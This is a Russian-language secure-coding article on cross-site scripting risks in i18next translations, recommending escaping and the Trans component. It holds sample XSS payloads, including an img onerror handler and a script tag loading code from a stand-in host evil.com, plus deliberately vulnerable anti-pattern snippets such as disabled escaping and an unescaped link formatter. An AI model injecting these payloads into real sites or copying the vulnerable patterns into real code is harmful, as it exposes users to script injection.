Локализация текста в JavaScript-приложениях часто воспринимается как чисто текстовая задача, однако система перевода становится полноценной частью UI-слоя и, следовательно, участником модели доверия. Библиотека i18next не выполняет магического «обезвреживания» данных: она лишь подставляет строки в нужные места. Любые данные, попадающие в перевод, становятся потенциальным носителем инъекций, если архитектура допускает их интерпретацию как HTML или JavaScript.
XSS в контексте переводов почти всегда возникает не из самой библиотеки, а из сочетания трёх факторов: динамических значений, HTML-рендеринга и отсутствия строгого разделения между текстом и разметкой.
i18next поддерживает интерполяцию:
{
"welcome": "Привет, {{name}}!"
}
i18next.t('welcome', { name: userInput })
По умолчанию библиотека экранирует значения интерполяции через
escapeValue: true. Это критический механизм защиты, который
предотвращает превращение пользовательского ввода в исполняемый
HTML.
Проблемы начинаются при изменении стандартной конфигурации:
i18next.init({
interpolation: {
escapeValue: false
}
})
Отключение экранирования переносит ответственность на слой
рендеринга. Любое значение, попавшее в {{}}, может быть
интерпретировано браузером как HTML, если далее оно помещается в
innerHTML или аналогичные API.
Часто переводчики или CMS добавляют HTML в строки:
{
"warning": "Нажмите <a href='/rules'>сюда</a> для правил"
}
i18next позволяет выводить такие строки как есть, особенно если
используется dangerouslySetInnerHTML в React или
innerHTML в DOM.
Проблема усиливается, если переводы хранятся во внешних системах (Crowdin, локальные админки, headless CMS). Тогда перевод становится точкой сохранённого XSS:
<script> или event handler;Типичный анти-паттерн в React:
<div dangerouslySetInnerHTML={{ __html: t('description') }} />
В связке с i18next это означает, что любой HTML из переводов становится исполняемым.
Если в переводе окажется:
{
"description": "<img src=x oner ror=alert(1)>"
}
браузер выполнит JavaScript в контексте приложения.
Важно, что даже при отсутствии пользовательского ввода риск сохраняется: перевод — это доверенный слой только условно, а не по факту.
Библиотека react-i18next предоставляет компонент
Trans, который позволяет безопасно комбинировать текст и
компоненты:
<Trans i18nKey="description">
Default text <strong>fallback</strong>
</Trans>
Правильный подход заключается в том, что HTML не хранится в переводах вообще. Вместо этого используются компоненты:
{
"description": "Нажмите <1>сюда</1>"
}
<Trans
i18nKey="description"
components={[<a href="/rules" />]}
/>
Такой подход устраняет необходимость в innerHTML и
снижает риск XSS до уровня обычного React-рендеринга, где экранирование
происходит автоматически.
i18next поддерживает сложные значения:
t('message', {
user: {
name: '<img src=x oner ror=alert(1)>'
}
})
Если конфигурация интерполяции или кастомный форматтер превращает объект в строку без экранирования, возникает риск внедрения HTML.
Особенно опасны:
format функции;returnObjects: true с последующим ручным
рендерингом;i18next позволяет использовать форматирование:
interpolation: {
format: (value, format) => {
if (format === 'uppercase') return value.toUpperCase()
return value
}
}
Если форматтеры начинают возвращать HTML или вставлять данные без экранирования, они превращаются в скрытую точку инъекции.
Опасный паттерн:
format: (value, format) => {
if (format === 'link') {
return `<a href="${value}">${value}</a>`
}
}
Любое значение, попавшее в link, становится управляемым
HTML.
Файлы локализации часто воспринимаются как статические и безопасные, однако в реальных системах они:
Это делает их эквивалентом пользовательского ввода.
Любая строка вида:
{
"title": "<script src=https://evil.com/x.js></script>"
}
при неправильном рендеринге становится полноценным XSS.
В server-side rendering перевод часто вставляется в HTML заранее:
const html = i18next.t('page.title')
Если результат не экранируется на сервере, вредоносный перевод попадает в исходный HTML-документ до гидратации React/Vue.
Это приводит к:
Основная причина уязвимостей — смешение контекстов:
href, src,
on*).i18next не различает контекст по умолчанию. Поэтому строка перевода должна рассматриваться как «сырой текст», а не как HTML-шаблон.
Ошибочный подход:
<a href={t('link')}>link</a>
Если перевод содержит jav * ascript: или HTML-инъекцию, он
становится исполняемым.
Корректная архитектура строится на принципе:
переводы = данные, а не разметка
Это означает:
escapeValue: true как базового
поведения;innerHTML для переводов;При использовании ICU-формата:
{
"items": "{count, plural, one {# элемент} other {# элементов}}"
}
риски XSS снижаются, так как структура ограничивает типы данных. Однако при расширении через кастомные функции форматирования или вставки HTML логика снова становится уязвимой.
На практике XSS через i18next возникает в системах, где:
dangerouslySetInnerHTML для ускорения
разработки;Каждая из этих точек сама по себе не критична, но их комбинация создаёт устойчивую поверхность атаки.
При анализе безопасности переводов учитываются три источника:
Уязвимость возникает, когда хотя бы один источник получает возможность влиять на DOM без экранирования или ограничения контекста.